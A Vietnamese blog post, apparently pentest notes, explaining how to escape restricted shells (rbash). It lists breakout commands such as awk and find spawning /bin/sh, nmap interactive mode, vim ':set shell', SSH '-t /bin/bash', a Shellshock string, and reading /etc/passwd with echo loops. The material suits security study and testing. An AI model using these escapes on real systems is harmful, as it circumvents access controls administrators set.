Skip to main content

Command Palette

Search for a command to run...

Escaping Restricted Shells

Updated
3 min read
Escaping Restricted Shells

Restricted Shell hay Shell bị hạn chế là một loại shell giới hạn khả năng thực thi lệnh của người dùng. Trong shell bị hạn chế, người dùng chỉ được phép thực thi một nhóm lệnh cụ thể hoặc chỉ được phép thực thi các lệnh trong các thư mục cụ thể.

Các shell bị hạn chế thường được sử dụng để cung cấp một môi trường an toàn cho những người dùng có thể vô tình hoặc cố ý làm hỏng hệ thống hoặc cung cấp cách để người dùng chỉ truy cập một số tính năng nhất định của hệ thống.

Sau khi đăng nhập shell, đôi khi sẽ gặp phải lỗi như bên dưới khi thực thi lệnh.

-rbash: cd: restricted
-rbash: /usr/lib/command-not-found: restricted: cannot specify `/' in command names

Hệ thống đích sử dụng shell bị hạn chế nên không thể thực thi được các lệnh thường được sử dụng, ví dụ: ls, cd, ...


Command Enumeration

Trước tiên hãy kiểm tra xem chúng ta có thể thực hiện những lệnh nào.

compgen -c
💡
Trong đó nếu tìm thấy 3 lệnh phổ biến: echo read printf có thể thực hiện việc đọc file trong restricted shell.

Ngoài ra, ta có thể thử lần lượt các lệnh sau:

awk 'BEGIN {system("/bin/sh")}'
bash
cat
cd
cp
declare
echo
echo $PATH
echo $SHELL
echo /usr/bin/*
echo /home/<username>/bin/*
echo "bash -i" | tee rbypass.sh
env
export
find
find / -name foobar -exec /bin/sh \;
ftp
git
less
ls
nano
nmap
printenv
printf
# List all files in current directory
printf '%s\n' *(D)
pwd
set
sudo
sudo -l
tar
touch
vi
vim
whereis
which
whoami
zip

# Programming languages
perl
php
python
python2
python3
python3.x
ruby

# Commands with absolute path
/bin/bash
/bin/sh
/usr/bin/cat
/usr/bin/ls


# Special characters
>
>>
<
|
&
$
$(whoami)
;
:
'
"
`

By pass

Update Environment Variables

Nếu có thể thực thi lệnh export và biến môi trường (PATH, SHELL, v.v.) không ở chế độ readonly, ta có thể cập nhật các biến.

export SHELL=/bin/bash
export PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin

Autocomplete to List Directories

Chúng ta có thể xem các tập tin và thư mục trong thư mục hiện tại bằng cách nhập đường dẫn sau và nhập phím “Tab”.

./.

Copy Shell Command

Nếu chúng ta có thể thực thi lệnh cp, chúng ta có thể sao chép /bin/bash hoặc /bin/sh vào thư mục hiện tại.

cp /bin/bash .
cp /bin/sh .

List/Read Files

Nếu chúng ta có thể sử dụng lệnh echo hoặc printf, chúng ta có thể liệt kê tất cả các tệp hoặc đọc tệp.

  1. List

     # List all files
     echo /*
     echo /.* # list hidden files
     echo /home/<username>/*
     echo /home/<username>/.* # list hidden files
    
     # List all files in current directory
     printf '%s\n' *(D)
    
  2. Read

     while read line; do echo $line; done < /etc/passwd; echo $line
    

    Xem nội dung file:

     echo "$(<file)"
     # OR
     printf "%s" "$(<file)"
    

Nmap

Nếu chúng ta có thể sử dụng lệnh nmap, chúng ta có thể thoát khỏi shell bị hạn chế bằng chế độ tương tác (interactive mode).

nmap --interactive
nmap> !sh

Vi/Vim Editor

Nếu có thể sử dụng lệnh vi hoặc vim, chúng ta có thể cập nhật biến SHELL trong trình soạn thảo vi/vim.

vim # or vi

# In vi/vim editor
:set shell=/bin/bash
:shell

SSH Flags

# -t: Force pseudo-terminal allocation
ssh <user>@<ip> -t "/bin/bash"
ssh <user>@<ip> -t "/bin/sh"
ssh <user>@<ip> -t "bash --noprofile"
# Shellshock
ssh <user>@<ip> "() {:;}; /bin/bash"

Xem thêm


References

More from this blog

nbdthien

16 posts